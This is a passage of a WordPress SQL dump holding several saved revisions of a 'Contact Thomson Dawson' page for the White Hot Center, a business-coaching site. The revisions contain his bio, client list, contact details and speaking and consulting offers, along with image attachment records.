'open', 'open', '', '11-revision-2', '', '', '2009-04-03 19:24:26', '2009-04-04 02:24:26', '', 11, 'http://www.whitehotcenter.com/11-revision-2/', 0, 'revision', '', 0),
(2978, 1, '2014-06-29 10:29:22', '2014-06-29 17:29:22', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nThe Source of Inspired Success for Creative Entrepreneurs\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. </span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded  Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</span>\r\n\r\n<span style="color: #000000;">Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age</span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2014-06-29 10:29:22', '2014-06-29 17:29:22', '', 143, 'http://whc.fbdev.org/2014/06/143-revision-v1/', 0, 'revision', '', 0),
(2586, 2, '2014-02-26 11:35:42', '2014-02-26 18:35:42', '', 'Thomson Dawson Quantum Leap Workship', 0, '', 'inherit', 'open', 'open', '', 'thomson-workshop-2', '', '', '2014-02-26 11:35:42', '2014-02-26 18:35:42', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomson-workshop1.jpg', 0, 'attachment', 'image/jpeg', 0),
(2585, 2, '2014-02-26 11:25:11', '2014-02-26 18:25:11', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers, solo professionals and small business owners to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h2><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development and Business Transformation</h2>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate branding and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after a stint working at several advertising agencies, Thomson founded Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in marketing communications, corporate and brand identity development, brand strategy,  corporate communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the White Hot Center, Thomson provides entrepreneurs and their teams with professional development, brand development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank">Branding Strategy Insider</a> blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2583" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="497" height="632" />\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-02-26 11:25:11', '2014-02-26 18:25:11', '', 143, 'http://www.whitehotcenter.com/2014/02/143-revision-62/', 0, 'revision', '', 0),
(1721, 2, '2010-12-27 16:47:19', '2010-12-27 23:47:19', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3921</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<span style="color: #ff8c00;"><strong> inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:<span style="color: #ff6600;"><strong>\r\nI''m available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-12-27 16:47:19', '2010-12-27 23:47:19', '', 143, 'http://www.whitehotcenter.com/uncategorized/143-revision-35/', 0, 'revision', '', 0),
(1393, 2, '2010-12-27 16:41:51', '2010-12-27 23:41:51', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"></span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3921</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<span style="color: #ff8c00;"><strong> inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more value.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I  am available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<span style="color: #ff6600;"><strong>I  also advise corporations, organizations, and early-stage  entrepreneurs, on issue-based consulting and coaching on marketing, positioning, branding, business and  professional development. The depth and duration of these engagements  varies depending on your needs and my availability. As a start, try  arranging for a “Power Session” with me where we can riff on your  current concerns, big ideas and visions you have for your future.  Click  the Power Session banner to the right. Remember, the nature of my  consulting work is weighted to the inner game of business and life  success. If you need help sifting through quantitative or qualitative  data, or motivating people to fill out time sheets, I’m not the guy. On  the other hand, if you have ideas for your bigger, better future you’d  like to gain more clarity and confidence on, just send me a note via my  email link and I’ll promptly reply.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-12-27 16:41:51', '2010-12-27 23:41:51', '', 143, 'http://www.whitehotcenter.com/2010/12/27/143-revision-31/', 0, 'revision', '', 0),
(1214, 2, '2010-07-29 21:14:35', '2010-07-30 04:14:35', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">One of the things I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n\r\n</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong><span style="color: #ff6600;">I also advise corporations, organizations, individual creative entrepreneurs, design firm principals, solo professionals and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, try arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions you have for your future.  Click the Power Session banner to the right. Remember, the nature of my consulting work is weighted to the inner game of business and life success. If you need help sifting through quantitative or qualitative data, or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via my email link and I’ll promptly reply.</span></strong>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span>\r\ninspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more value.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com , a personal and professional development blog serving creative entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who need a place to jam on bringing their best ideas into form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a  contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span>\r\n</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-07-29 21:14:35', '2010-07-30 04:14:35', '', 143, 'http://www.whitehotcenter.com/2010/07/29/143-revision-26/', 0, 'revision', '', 0),
(246, 2, '2009-06-24 09:33:23', '2009-06-24 16:33:23', 'the whc orange grove', '1015.nordoff-view', 0, '', 'inherit', 'open', 'open', '', '1015-nordoff-view', '', '', '2009-06-24 09:33:23', '2009-06-24 16:33:23', '', 143, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/1015.nordoff-view.gif', 0, 'attachment', 'image/gif', 0),
(247, 1, '2009-06-08 19:21:18', '2009-06-09 02:21:18', '', 'Contact', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-08 19:21:18', '2009-06-09 02:21:18', '', 143, 'http://www.whitehotcenter.com/143-revision-4/', 0, 'revision', '', 0);
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(248, 2, '2009-06-24 09:43:09', '2009-06-24 16:43:09', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="500" height="361" />One of the things about my life that I am most proud of is the fact that I live and work in a manner and place that I love. For years I would daydream about living in a beautiful, nuturing environment. Nothing is more nuturing to the souls that an orange grove.\r\n\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\nDawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and personal and professional development. Some are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development.\r\nThe depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 09:43:09', '2009-06-24 16:43:09', '', 143, 'http://www.whitehotcenter.com/143-revision-5/', 0, 'revision', '', 0),
(249, 2, '2009-06-24 09:49:23', '2009-06-24 16:49:23', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="500" height="361" />One of the things about my life that I am most proud of is the fact that I live and work in a manner and place that I love. For years I would daydream about living and working in a beautiful, natural environment. Nothing is more comforting to my soul living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you imagine in the formless world of your thoughts.\r\n\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 09:49:23', '2009-06-24 16:49:23', '', 143, 'http://www.whitehotcenter.com/143-revision-6/', 0, 'revision', '', 0),
(250, 2, '2009-06-24 09:53:12', '2009-06-24 16:53:12', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="500" height="361" />\r\n<h2>One of the things about my life that I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Nothing is more comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream the formless world of your imagination.</h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 09:53:12', '2009-06-24 16:53:12', '', 143, 'http://www.whitehotcenter.com/143-revision-7/', 0, 'revision', '', 0),
(251, 2, '2009-06-24 09:53:55', '2009-06-24 16:53:55', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="500" height="361" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Nothing is more comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 09:53:55', '2009-06-24 16:53:55', '', 143, 'http://www.whitehotcenter.com/143-revision-8/', 0, 'revision', '', 0),
(252, 2, '2009-06-24 09:55:16', '2009-06-24 16:55:16', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="400" height="289" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud of is the fact that I live and work in a manner and place that I love. For years, I would daydream about living and working in a beautiful, natural environment. Nothing is more comforting to my soul than living in an orange grove. I''m delighted to share the view with you, and remind you that you can create in the physical world whatever you daydream the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other hand, if you have ideas for your bigger, better future you’d like to gain more clarity and conviction on, just send me a note via email and I’ll promptly reply.', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2009-06-24 09:55:16', '2009-06-24 16:55:16', '', 143, 'http://www.whitehotcenter.com/143-revision-9/', 0, 'revision', '', 0),
(253, 2, '2009-06-24 09:57:51', '2009-06-24 16:57:51', '<img class="alignnone size-full wp-image-246" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="360" height="260" />\r\n<h2><span style="color: #ff6600;">One of the things about my life that I am most proud\r\nof is the fact that I live and work in a manner and place\r\nthat I love. For years, I would daydream about living and\r\nworking in a beautiful, natural environment. Nothing is\r\nmore comforting to my soul than living in an orange grove.\r\nI''m delighted to share the view with you, and remind you\r\nthat you can create in the physical world whatever you\r\ndaydream the formless world of your imagination.</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\nthomson@whitehotcenter.com\r\n\r\n<strong>Dawson+Company Creative Group\r\n1015 West El Roblar Drive\r\nOjai, California 93203 USA\r\nt 805 640 3920</strong>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\nI am available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some of my talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having me on the bill at one of your events, just send me an email with your specifics, we can go from there.\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\nI also advise corporations, organizations, individual creative entrepreneurs, design firms, and small business owners on marketing, positioning, branding, business and professional development. The depth and duration of these engagements varies depending on your needs and my availability. As a start, you might get some real value arranging for a “Power Session” with me where we can riff on your current concerns, big ideas and visions for your future.  Click the Consulting Link above. Remember, the nature of my consulting work is weighted to the inner game of business success. If you need help sifting through quantitative data or motivating people to fill out time sheets, I’m not the guy. On the other 